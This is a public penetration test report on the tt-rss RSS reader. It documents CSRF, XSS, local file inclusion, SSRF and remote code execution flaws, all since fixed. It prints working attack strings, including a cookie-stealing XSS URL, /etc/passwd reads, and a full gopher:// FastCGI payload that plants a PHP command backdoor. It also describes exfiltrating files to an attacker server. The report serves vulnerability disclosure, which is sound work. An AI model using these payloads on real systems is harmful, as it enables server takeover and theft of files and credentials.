DigeeX

Penetration Testing Report v1.1

for tt-rss web application, v20.08-3588d5186

DigeeX
Ferdinandstraße 29-33, 4.OG,
20095 Hamburg, Germany.
pentest@digeex.de
+49 176 56892946
October 8, 2020

Contents

1.0 Document Properties

Title	White Box Penetration Testing Report
Version	1.1
Authors	Daniel Neagaru, Benjamin Nadarević
Pentesters	Daniel Neagaru, Benjamin Nadarević
Reviewed by	Benjamin Nadarević
Approved by	Daniel Neagaru
Classification	Public Information

1.1 Version control

Version	Date	Summary
0.1	14.08.2020	First draft
0.2	27.08.2020	Document vulnerabilities
0.3	28.08.2020	Document additional findings
0.4	29.08.2020	Added scripts
0.5	30.08.2020	Calculated CVSS score and severity ratings
0.6	31.08.2020	Added references
0.7	08.09.2020	Complete findings with recommendations and source code
0.8	10.09.2020	Fix typos and add executive summary
1.0	11.09.2020	Final Version
1.1	21.09.2020	Public release including fixes

2.0 Introduction

DigeeX has decided to contribute to open source, and improve the security of *TinyTinyRSS*, by conducting a penetration test of the tt-rss web application, in order to find security issues that could be exploited by a threat actor.

This document reports the findings from the penetration test, with technical description, recommendations, and references.

Note: At the time of the release of version 1.1 of this report, all of the documented findings were resolved.

The following people from *TinyTinyRSS* were involved in the vulnerability disclosure process:

Name	Function	E-mail
Andrew Dolgov	Developer	cthulhoo@gmail.com

The following people from *DigeeX* were involved in planning, performing and writing the report:

Name	Function	E-mail
Daniel Neagaru	CEO, Pentester	daniel@digeex.de
Benjamin Nadarević	Pentester, Reviewer	benjamin@digeex.de

2.1 Objective

This test aims to identify as many security issues as possible in the documented scope during the allocated time.

The end goal of this assignment was to gain remote code execution on the victim's machine running tt-rss and we've been successful. After achieving our goal we stopped the testing phase and started documenting our findings.

We conducted all activities in a manner that simulated a malicious actor engaged in a targeted attack against *TinyTinyRSS*.

We performed the tests on a self-hosted instance of tt-rss to avoid inadvertently damaging production systems. If some issue exists only in the live environment, we have missed it in this test.

After contacting *TinyTinyRSS* and discussing our findings, the fixes were pushed to the main branch for the following three days, resolving not only the documented issues, but also potential new ones.

2.2 Scope

This report contains the web application tests, which we performed for the following applications:

tt-rss	https://git.tt-rss.org/fox/tt-rss

2.3 Preparation

Since the project is open source, and this is a WhiteBox test, there were no negotiations necessary with *TinyTinyRSS* in order to start the project.

The *TinyTinyRSS* app was downloaded and deployed on a self hosted server in order to run the tests. We created two different users for each role to test authentication and access control.

Since there are some differences from security perspective when installing the application standalone and when using the docker version, we have tested both configurations.

2.4 High level Summary

After conducting the test, we concluded that developers didn't take security in mind when working on tt-rss, and that motivated threat actors can compromise the application and gain remote code execution (RCE) on the server running the application. Developers need to pay more attention to best security practices, and ideally, the application should be tested more often by security professionals.

Most of the severe vulnerabilities we discovered originate in the `af_proxy_http` plugin, which is not enabled by default, but it's important to mention that this does not reduce the risks, and the vulnerabilities can still be exploited with the plugin disabled.

Below is a summarized list of vulnerabilities which should be prioritized to reduce the potential security risks of the *TinyTinyRSS* web applications:

- **Local File Inclusion** It's possible to read arbitrary files on the machine running tt-rss by sending the filename to the `url` parameter. Only the files that the web application has permission to read can be accessed.
- **Remote Code Execution** Using the same flaw as the previous vulnerability, it is possible to access other services running on the machine, which can, in turn, be used to gain remote code execution by sending malicious data to the PHP-FPM service used by tt-rss.
- **Cross Site Scripting** Two exploitable Cross Site Scripting (XSS) flaws were discovered that can be used to perform client side attacks, and if chained with other vulnerabilities, can be used for example to send arbitrary files from the server to an attacker's machine.
- **and many other smaller issues...**

3.0 Methodologies

Below is a breakout of how we were able to identify and exploit the vulnerabilities in the tt-rss web application.

In addition to this report, a set of scripts was included to make it easier for developers to replicate the attacks. **Since this report is made public, we have deliberately decided not to publish the scripts to prevent script kiddie attacks. This however will not stop a motivated attacker, and installing the latest updates is highly recommended.**

To set up the testing environment, `config.py` is provided with the necessary configuration. `helper.py` contains the commonly used functions needed in PoC scripts. The `files/` directory contain non-python files that are used in the exploitation process. The table below documents the scripts and the respective finding ID.

File	Finding ID	Description
`access_internal_services.py`	TT-RSS1-V05	Cache the HTTP response of an internal service with an authenticated user, and print a URL with cached contents available to unauthenticated users.
`csrf_force_subscribe.py`	TT-RSS1-V01	Subscribe a user to a feed without CSRF token and print the URL that can be used to force subscription.
`generate_RCE_feed.py`	TT-RSS1-V05	Create malicious `files/malicious_RCE_feed.xml` that will install a PHP backdoor (`files/backdoor.php`) on the tt-rss server subscribed to this feed.

File	Finding ID	Description
`generate_xss2lfi_feed.py`	TT-RSS1-V06	Generate feed that chains XSS (TT-RSS1-V04) and LFI (TT-RSS1-V03). It takes URL of `xss2lfi.html` as an argument
`http_proxy.py`	TT-RSS1-V04	Cache an external URL, and use for XSS
`lfi.py`	TT-RSS1-V03	Read files from the server using LFI.
`password_management.py`	TT-RSS1-A01	Abuse bad password management to set a user with a single character password
`RCE_via_mo_files.py`	TT-RSS1-A02	Run arbitrary code on the server using malicious translation files (`infected.mo` and `infected.po` in `files/` directory).
`xss2lfi.html`	TT-RSS1-V06	Malicious html page. It grabs content of a file on the server (`/etc/passwd` by default), sends it to the attacker and phishes user at the same time

3.1 Limitations

Like in every penetration test, we cannot guarantee that all existing vulnerabilities have been found. Our goal was to stop the test once we are able to obtain remote code execution (RCE) on the server. With RCE, any changes can be performed on the server, so if an attacker gets this far, it's already game over, regardless of other ways to exploit it.

If the recommended installation method is in use, then the application runs inside a docker container, which means the attacks will be limited to this container. For example, when using the Local File Injection (LFI) vulnerability to read `/etc/passwd` it will read the file from the container, not the actual file system.

One crucial limitation we have encountered during the test was an unrelated patch in `libcurl` that rejected zero bytes in the URL to Gopher.

(See `https://github.com/curl/curl/commit/31e53584db5879894809fbde5445aac7553ac3e2`)

This happened on a standalone installation (no docker) on a system with the latest `libcurl` installed. When checking the same exploit on the standard docker installation, it works fine, and the zero bytes pass through because it uses an older `cURL` version. This is not a vulnerability in `cURL` itself, and the patch in question was unrelated to security.

Even on updated systems with latest patches it might have been possible to exploit this albeit more complicatedly.

3.2 Risk assessment

Four different rating keys will be assigned to vulnerabilities to make risk assessment and prioritization easier. However, the results here are up to interpretation, and ultimately, it is up to *TinyTinyRSS* to decide what should be worked on first, what risks will be tolerated, accepted, or fixed.

The purpose of this part of the document is to inform about existing risks, and give developers a starting point to decide what issues should be fixed first and which ones can wait.

Vulnerabilities that can cause a disaster are marked as `intolerable`, if the risk can have a serious impact but can't be described as a disaster are marked as `undesirable`, the ones with effects that are not critical to the outcome are `tolerable`, and vulnerabilities with little effect are `acceptable`.

Risk	low	medium	high	extreme
Rating	Acceptable	Tolerable	Undesirable	Intolerable
Key	OK to proceed	take mitigation effort	should be prioritized	place event on hold

Risks with a low likelihood of being exploited are marked as `unlikely`, ones that are likely to occur are `possible`, and risks with high probability of occurring are `likely`.

Risks that can cause negligible damages are marked as `minor`, ones that are able to cause significant damage as `moderate`, and risks with high damage capability as `severe`.

Depending on the likelihood of the risk to occur, and the severity of its damage, the vulnerabilities are classified according to the risk matrix below. The number in brackets is the count of findings in this classification.

	severity		
	minor	moderate	severe
likelihood			
unlikely	low	low (1)	medium
possible	low	medium	high (2)
likely	medium	high (2)	extreme (1)

The likelihood of a vulnerability is calculated based on relevant CWE (Common Weakness Enumeration) entries, adjusted for tt-rss.

The severity of the vulnerability is calculated using Common Vulnerability Scoring System (CVSS).

Risk assessment values are determined by this formula: `Risk Rating = Likelihood x Severity`. The higher the risk rating, the greater the overall risk for the project. This helps balance the weight of severity and probability, so for example high severity vulnerabilities that are unlikely to be exploited are ranked lower than moderate severity ones that are certain to be exploited.

The table below summarizes the vulnerabilities documented in this report, along with the severity, likelihood, and general risk associated with those findings.

Finding ID	Severity	Likelihood	Risk
TT-RSS1-V01	Moderate	Unlikely	Low
TT-RSS1-V02	Moderate	Likely	High
TT-RSS1-V03	Severe	Likely	Extreme
TT-RSS1-V04	Moderate	Likely	High
TT-RSS1-V05	Severe	Possible	High
TT-RSS1-V06	Severe	Possible	High

However, single vulnerabilities sometimes don't have much effect but can become an exploit primitive that is critical to the whole exploit chain, in case a motivated threat actor plans to break into one *TinyTinyRSS* system. Therefore it's recommended to also look at the issues that are not classified as high risk and decide if this is something that needs to be done differently.

3.3 Vulnerabilities

This part of the report contains the vulnerabilities found, with description, assigned scores, recommendations, and references. The vulnerabilities are documented in chronological order of discovery.

Since multiple findings have the same root cause, patching the code to fix one issue will solve more than one vulnerability.

3.3.1 TT-RSS1-V01: Cross site request forgery (CSRF) / Denial of service (DoS)

Severity: Medium

Likelihood: Low

CWE: 352

CVSS v3.1 Base Score: 5.4

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L`

Description

The web application does not sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Methods in `public.php` are not CSRF protected (this seems intended). However, this means that feed containing the following *img* tag can logout everyone subscribed.

```
<img src="public.php?op=logout&bypass_filter=://">
```

It's also possible to force logged in users to subscribe to a spammy feed by including this code in attacker's feed:

```
<img src="public.php?op=subscribe&feed_url=http://spam.spam">
<img src="public.php?op=subscribe&feed_url=http://spam2.spam">
<img src="public.php?op=subscribe&feed_url=http://spam3.spam">
```

The `csrf_force_subscribe.py` script can emulate this behavior, by logging in the user and subscribing him without the CSRF token. Those URLs can be included in malicious feeds to force the user to subscribe to new arbitrary feeds.

```
$ ./csrf_force_subscribe.py https://www.examplefeed.com/feed/
Use this URL in your feed to force the user to subscribe to https://
 www.examplefeed.com/feed/
https://rss.example.com/public.php?op=subscribe&feed_url=https%3A%2F%2
 Fwww.examplefeed.com%2Ffeed%2F

Subscribed to https://www.examplefeed.com/feed/.
```

Parameter `bypass_filter=://` allows to mass deploy this attack by tricking tt-rss into thinking this is an absolute URL that doesn't need to be rewritten (See TT-RSS1-A03).

Recommendations

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation. If possible, add CSRF protection to those methods and add better parsing for absolute URLs.

References

- CWE-352: Cross-Site Request Forgery (CSRF) - `https://cwe.mitre.org/data/definitions/352.html`
- OWASP: Cross Site Request Forgery (CSRF) - `https://owasp.org/www-community/attacks/csrf`
- Cross-Site Request Forgery Prevention Cheat Sheet - `https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html`

Fixes

The issue was fixed with the following commits:

- public/subscribe: require valid CSRF token when validating the form - `https://git.tt-rss.org/fox/tt-rss/commit/da98ba662ea2af58c27eadecf444537ea07a04c7`
- public/logout: require valid CSRF token - `https://git.tt-rss.org/fox/tt-rss/commit/154417d80b9f1ffb9d5d9fcbe2e6ab1dd15159bd`

3.3.2 TT-RSS1-V02: Reflected cross site scripting (XSS)

Severity: Medium

Likelihood: High

CWE: 79

CVSS v3.1 Base Score: 5.4

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`

Description

tt-rss does not neutralize user-controllable input before it is placed in the output that is used as a web page that is served to other users.

A instance of reflected cross site scripting (XSS) vulnerability was discovered in tt-rss, in `af_proxy_http` plugin, which is enabled by default. When calling the method `imgproxy`, with the `url` having URL encoded javascript code it gets executed in the client's browser:

```
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=%3Cscript%3
  Ealert(document.cookie)%3C/script%3E&text=1
```

The piece of code below causes this vulnerability:

```
104 print "<h1>Proxy request failed.</h1>";
105 print "<p>Fetch error $fetch_last_error ($fetch_last_error_code)</p>";
106 print "<p>URL: $url</p>";
107 print "<textarea cols='80' rows='25'>" . htmlspecialchars($fetch_last_error_content)
      . "</textarea>";
```

Listing 3.1: `plugins/af_proxy_http/init.php`

The `htmlspecialchars` is used when printing the `$fetch_last_error_content` parameter, but not when printing the `$url` one, which can still be exploited.

Recommendations

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Filter the characters passed to the `$url` same way using the PHP `htmlspecialchars()` function.

References

- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - `https://cwe.mitre.org/data/definitions/79.html`
- OWASP: Cross Site Scripting (XSS) - `https://owasp.org/www-community/attacks/xss/`
- Cross Site Scripting Prevention Cheat Sheet - `https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html`
- OWASP Top 10 2017, A7: Cross-Site Scripting (XSS) - `https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)`

Fixes

The issue was fixed with the following commits:

- fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`

The MITRE corporation has assigned CVE-2020-25788 to keep track of this vulnerability - `https://nvd.nist.gov/vuln/detail/CVE-2020-25788`

3.3.3 TT-RSS1-V03: Local File Inclusion (LFI)

Severity: High

Likelihood: High

CWE: 98

CVSS v3.1 Base Score: 7.7

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`

Description

tt-rss receives input from an upstream component, but it does not restrict the input before its usage in `fetch_file_contents()` function.

Method `imgproxy` in `af_proxy_http` plugin is vulnerable to local file inclusion (LFI) if `text` parameter is set. An authenticated user can access sensitive files on the server by using `file://` schema. An unauthenticated attacker can also exploit this vulnerability by chaining it with one of the XSS vulnerabilities (See TT-RSS1-V06).

The plugin `af_proxy_http` doesn't have to be enabled for this attack to work. It just needs to exist, and disabling it will not prevent this attack.

This GET request discovers content of `/etc/passwd`:

```
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=file:///etc/
 passwd&text=1
```

A script attached to this report demonstrates this vulnerability:

```
  $ ./lfi.py /etc/passwd
```

The `fetch_file_contents()` function is called below:

```
59 if ($this->cache->exists($local_filename)) {
60         header("Location: " . $this->cache->getUrl($local_filename));
61         return;
62         //$this->cache->send($local_filename);
63 } else {
64         $data = fetch_file_contents(["url" => $url, "max_size" =>
    MAX_CACHE_FILE_SIZE]);
65
66         if ($data) {
67
68                 $disable_cache = $this->host->get($this, "disable_cache");
```

Listing 3.2: `plugins/af_proxy_http/init.php`

Function `fetch_file_contents()` is defined in the functions.php file:

```
176 // TODO: max_size currently only works for CURL transfers
177 // TODO: multiple-argument way is deprecated, first parameter is a hash now
178 function fetch_file_contents($options /* previously: 0: $url , 1: $type = false, 2:
     $login = false, 3: $pass = false,
179                                  4: $post_query = false, 5: $timeout = false, 6:
     $timestamp = 0, 7: $useragent = false*/) {
```

Listing 3.3: `src/include/functions.php`

The function checks if `cURL` exists, and either uses it, or falls back to `file_get_contents()` PHP function. We have tested only the `cURL` part, since it allows for greater flexibility when crafting requests.

Then the code below checks if the `text` parameter is set, and prints the content of the `$data` variable, which contains the file we have requested using the `file://` schema:

```
83  if (function_exists("imagecreate") && !isset($_REQUEST["text"])) {
84          $img = imagecreate(450, 75);
85
86          /*$bg =*/ imagecolorallocate($img, 255, 255, 255);
87          $textcolor = imagecolorallocate($img, 255, 0, 0);
88
89          imagerectangle($img, 0, 0, 450-1, 75-1, $textcolor);
90
91          imagestring($img, 5, 5, 5, "Proxy request failed", $textcolor);
92          imagestring($img, 5, 5, 30, truncate_middle($url, 46, "..."), $textcolor);
93          imagestring($img, 5, 5, 55, "HTTP Code: $fetch_last_error_code", $textcolor)
     ;
94
95          header("Content-type: image/png");
96          print imagepng($img);
97          imagedestroy($img);
98
99  } else {
100         header("Content-type: text/html");
101
102         http_response_code(400);
103
104         print "<h1>Proxy request failed.</h1>";
105         print "<p>Fetch error $fetch_last_error ($fetch_last_error_code)</p>";
106         print "<p>URL: $url</p>";
107         print "<textarea cols='80' rows='25'>" . htmlspecialchars(
     $fetch_last_error_content) . "</textarea>";
```

Listing 3.4: `plugins/af_proxy_http/init.php`

Note that the vulnerability will only read the files inside the docker container on the recommended installation, and will be unable to read files residing on the host filesystem.

Recommendations

Either filter for `file://` schema by tweaking PHP settings or remove text parameter functionality from tt-rss code.

References

- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - https://cwe.mitre.org/data/definitions/98.html
- OWASP WSTG: Testing for Local File Inclusion - https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
- PHP Runtime Configuration - https://www.php.net/manual/en/filesystem.configuration.php
- PHP Supported Protocols and Wrappers - https://www.php.net/manual/en/wrappers.php
- OWASP Top 10, A1: Injection - https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection

Fixes

The issue was fixed with the following commits:

- fix multiple vulnerabilities in af_proxy_http - https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef

The MITRE corporation has assigned CVE-2020-25787 to keep track of this vulnerability, together with TT-RSS1-V05 and TT-RSS1-V06 - https://nvd.nist.gov/vuln/detail/CVE-2020-25787

3.3.4 TT-RSS1-V04: Reflected cross site scripting (XSS) (cached)

Severity: Medium

Likelihood: High

CWE: 434, 79

CVSS v3.1 Base Score: 5.4

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`

Description

tt-rss does not neutralize user-controllable input before it is placed in the output that is used as a web page that is served to other users.

Attacker can leverage caching mechanism in `af_proxy_http` plugin `imgproxy` method to save malicious HTML file on the server. If GET request is made with `url` parameter to location of malicious file:

```
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://
 evil.site/
```

This will save the HTML file in cache directory (filename will be SHA1 sum of the `http://evil.site/`), and it can be accessed with following URL:

```
/public.php?op=cached_url&file=images/44ad65b05e6090e3b2009e232555a3b3f21877d0
```

Where `44ad65b05e6090e3b2009e232555a3b3f21877d0` is `sha1sum('http://evil.site/')` and is saved inside the `images/` directory.

A script attached to this report can be used to replicate the attack:

```
$ ./http_proxy.py https://www.google.com

[...]

File from https://www.google.com is cached at:
https://rss.example.com/public.php?op=cached_url&file=images/
 ef7efc9839c3ee036f023e9635bc3b056d6ee2db
```

If the user clicks the link with the first URL browser will be redirected to the second URL and malicious javascript can be executed.

This attack does not need to be targeted to specific tt-rss installation, instead it can be deployed to anyone subscribed to feed controlled by the attacker. That can be achieved by inserting following img tag:

```
<img src ='public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=
 http://evil.site'>
```

And setting article title to link where the malicious file will be saved.

```
<link>
<![CDATA[public.php?op=cached_url&file=images/44
 ad65b05e6090e3b2009e232555a3b3f21877d0&bypass_filter=://]]>
</link>
```

Dummy parameter `bypass_filter` is set to `://` so the link will be wrongly interpreted as valid absolute URL, that doesn't need to be rewritten (See TT-RSS1-A03).

Once the user clicks the link, the attacker can try to phish the user, chain this with the LFI vulnerability and extract sensitive files from the server, or chain it with SSRF and perform internal portscan or grab CSRF token as documented in TT-RSS1-A04, and perform any action that requires CSRF token, by getting the token from this URL:

```
/backend.php?op=rpc&method=sanitycheck
```

Recommendations

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Whitelist allowed extensions. Only allow safe and critical extensions for desired functionality. Serve cached image files with proper MIME type (do not serve SVG files, as they too can execute javascript).

References

- CWE-434: Unrestricted Upload of File with Dangerous Type - `https://cwe.mitre.org/data/definitions/434.html`
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - `https://cwe.mitre.org/data/definitions/79.html`
- OWASP Top 10 2017, A7: Cross-Site Scripting (XSS) - `https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)`

- OWASP: Unrestricted File Upload - https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- OWASP: File Upload Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
- OWASP WSTG: Test Upload of Unexpected File Types - https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_Upload_of_Unexpected_File_Types

Fixes

The issue was fixed with the following commits:

- cached_url: block SVG images because of potential javascript inside - https://git.tt-rss.org/fox/tt-rss/commit/da5af2fae091041cca27b24b6f0e69e4a6d0dc60

The MITRE corporation has assigned CVE-2020-25789 to keep track of this vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2020-25789

3.3.5 TT-RSS1-V05: Server Side Request Forgery (SSRF) and Remote Code Execution (RCE)

Severity: High

Likelihood: Medium

CWE: 918

CVSS v3.1 Base Score: 9.6

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`

Description

Server side request forgery (SSRF) is an attack vector that abuses an application to interact with the internal/external network or the machine itself.

Method `imgproxy` in `af_proxy_http` is vulnerable to server side request forgery, which can be used for remote code execution in particular (quite common) configurations. The user needs to be authenticated to make the request, but since the method is not CSRF protected, even an unauthenticated attacker can exploit this. After user's browser is forced to make GET request, an unauthenticated attacker can view the result via `cached_url` functionality.

SSRF can be used by an attacker to discover internal services. If user's browser is forced to make the following GET request:

```
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=http://
 localhost:<PORT>
```

Then unauthenticated attacker can view the response by calculating SHA1 sum of string `http://localhost:<PORT>` and visit

```
/public.php&op=cached_url&file=images/sha1(http://localhost:<PORT>)
```

A script attached to this report can be used to demonstrate the vulnerability:

```
$ ./access_internal_services.py 8080
<html>
 <body>
[...]
 </body>
</html>

Unauthenticated users can now access the contents at this URL:

https://rss.example.com/public.php?op=cached_url&file=images%2
 F87140dbffb2c6152be473af1154aa70e7332002a
```

Remote code execution is possible if PHP-FPM is running on port 9000 and `cURL` version on the system is bellow 7.71.1. Note that this is NOT a `cURL` vulnerability, `cURL` just stopped supporting null bytes in url for `gopher://` protocol (which exploit uses) starting with that version. It should also be mentioned that the current docker version of tt-rss is running a configuration that is vulnerable to remote code execution.

The exploit payload is sent to the `url` parameter as shown below:

```
/public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url={payload}&
 text=1"
```

The payload then is sent to `libcurl`, and out of the protocols `libcurl` supports, Gopher works best to send raw data to a different protocol. Since tt-rss is running PHP-FPM by default, this would be the easiest way to gain code execution.

Gopherus is a tool that is using the Gopher protocol to generate exploits that use SSRF to gain RCE. The FastCGI script from Gopherus was used as an inspiration for this exploit.

Therefore, in order to talk to PHP-FPM, we can use `gopher://127.0.0.1:9000/` which will send raw data to the PHP-FPM TCP socket. The URL from the payload needs to decode into a valid FastCGI packet. Gopherus code was used to craft this packet.

Close to the end of the packet, the PHP code has to be inserted. This will write the base64 decoded `backdoor_code` into the file located at `backdoor_path`:

```
<?php file_put_contents(backdoor_path,base64_decode(backdoor_code));die('executed')
 ;?>
```

A script attached to this report can be used to generate the malicious feed:

```
$ ./generate_RCE_feed.py
```

This will encode the contents of `files/backdoor.php`, create a malicious feed in `files/malicious_RCE_feed.xml` which will create the `backdoor.php` file on the tt-rss instances that fetch this malicious URL. Note that the `TTRSS_PATH` variable in `config.py` needs to be correct for the exploit to work.

Now the `files/malicious_RCE_feed.xml` needs to be copied to be reachable from `https://link.to.malicious/feed`, and the next time the user's browser tries to view this feed article, the `backdoor.php` file will be created in the tt-rss directory on the server.

With the file in place, the attacker can now run any commands on the server replacing the `whoami` as shown below:

```
/backdoor.php?cmd=whoami&bypass_filter=://
```

Attack can be mass deployed to everyone subscribed to feed controlled by an attacker via `src` attribute of `img` tag If feed user is subscribed to contains this `img` tag:

```
<img src="public.php?op=pluginhandler&plugin=af_proxy_http&pmethod=imgproxy&url=
gopher://localhost:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500
%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250D%2505%2500%250F%2510SERVE
R_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SE
RVER_PROTOCOLHTTP/1.1%250E%2503CONTENT_LENGTH169%250E%2504REQUEST_METHODPOST%250
9KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%25
20%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/
var/www/html/tt-rss/config.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%
2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%25A9%2504%2500%
253C%253Fphp%2520file_put_contents%2528%2527/var/www/html/tt-rss/backdoor.php%25
27%252Cbase64_decode%2528%2527PD9waHAKZWNobyAic3VjY2Vzc1xuIjsKZWNobyBzeXN0ZW0oJF
9HRVRbJ2NtZCddKTsKPz4K%2527%2529%2529%253Bdie%2528%2527executed%2527%2529%253B%2
53F%253E%2500%2500%2500%2500&text">
```

File `backdoor.php` will be put on the server. Because `src` attribute contains the string `://` it won't be properly rewritten to absolute URL, so the attack doesn't need to be targeted (every tt-rss installation whose users are subscribed to malicious feed can be infected).

Recommendations

Apply filtering to the url parameter to blacklist internal addresses, make sure to also disable redirects (see OWASP SSRF prevention page for details)

If possible, CSRF protect the method, so it's not possible to force a request (low-privileged users could still exploit it).

References

- libcurl - https://curl.haxx.se/libcurl/
- Gopherus FastCGI.py - https://github.com/tarunkant/Gopherus/blob/master/scripts/FastCGI.py
- SSRF bible - https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/
- CWE-918: Server-Side Request Forgery (SSRF) - https://cwe.mitre.org/data/definitions/918.html
- OWASP Top 10, A1: Injection - https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection
- Server-Side Request Forgery Prevention Cheat Sheet - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

Fixes

The issue was fixed with the following commits:

- fix multiple vulnerabilities in af_proxy_http - https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef

The MITRE corporation has assigned CVE-2020-25787 to keep track of this vulnerability, together with TT-RSS1-V04 and TT-RSS1-V06 - https://nvd.nist.gov/vuln/detail/CVE-2020-25787

3.3.6 TT-RSS1-V06: Cross site scripting to local file inclusion (XSS to LFI)

Severity: High

Likelihood: Medium

CVSS v3.1 Base Score: 7.4

Vector: `https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N`

Description

This section is included to emphasize the impact of XSS (TT-RSS1-V02 or TT-RSS1-V04) vulnerabilities chained with LFI vulnerability (TT-RSS1-V03).

To demonstrate this, first edit configuration variables malicious html file (`files/xss2lfi.html`). Then it needs to be copied to a server, so it's reachable from `https://attacker.server/xss2lfi.html`.

After that, run the following command:

```
$ ./generate_xss2lfi_feed.py https://attacker.server/xss2lfi.html
```

This will create a malicious feed in `files/malicious_XSS_feed.xml`. which needs to be uploaded, so it's reachable at `https://attacker.server/feed`. After the user subscribes to the feed and views the article, the malicious HTML file will be cached on a server (see TT-RSS1-V04 for details). When a user clicks the article title, the malicious page will open and javascript will be executed. Javascript code will make a request to exploit LFI vulnerability (see TT-RSS1-V03 for details) and send contents of the chosen file (`/etc/passwd` by default) to the attacker's server.

This attack can be mass deployed to everyone subscribed to the attacker's feed thanks to the ability to create relative links on feed (see TT-RSS1-A03 for details). This attack is executable regardless of `libcurl` version (unlike remote code execution).

Demo payload is in `files/xss2lfi.html`. Attacker needs to change 2 variables before the attack: `var filename` should be set to path of the file that needs to be extracted and `var remote_url` to location of the attacker's server. Contents of the chosen file will be sent to `https://attacker.server/logfile`. For phishing, attacker needs to change the form action attribute to point to the location where credentials can be logged.

Recommendations

See recommendations for TT-RSS1-V02, TT-RSS1-V03, TT-RSS1-V04, and TT-RSS1-A03.

References

- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') - `https://cwe.mitre.org/data/definitions/98.html`
- OWASP WSTG: Testing for Local File Inclusion - `https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion`
- OWASP Top 10, A1: Injection - `https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection`
- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - `https://cwe.mitre.org/data/definitions/79.html`
- OWASP Top 10 2017, A7: Cross-Site Scripting (XSS) - `https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)`

Fixes

The issue was fixed with the following commits:

- fix multiple vulnerabilities in af_proxy_http - `https://git.tt-rss.org/fox/tt-rss/commit/c3d14e1fa54c7dade7b1b7955575e2991396d7ef`

The MITRE corporation has assigned CVE-2020-25787 to keep track of this vulnerability, together with TT-RSS1-V04 and TT-RSS1-V05 - `https://nvd.nist.gov/vuln/detail/CVE-2020-25787`

3.4 Additional findings

The remaining part of the report contains findings that can't be classified as vulnerabilities, because they can't be directly exploited, however they can aid an attacker prepare the actual attack, so they can still be considered security issues.

3.4.1 TT-RSS1-A01: Bad password processing

Description

Due to XSS filtering being applied to the password, when a new password is set and it contains < or > , it is truncated at that point without any notification to the user.

Steps to reproduce:

1. Change user's password to "a<23ET!rfmmMC"
2. Logout
3. Log in with just "a" as a password
4. Logout and then log in with the full password

This is a problem because the user may think his/her account got a secure password but in reality, it is truncated.

A script attached to this report replicates this finding:

```
$ ./password_management.py
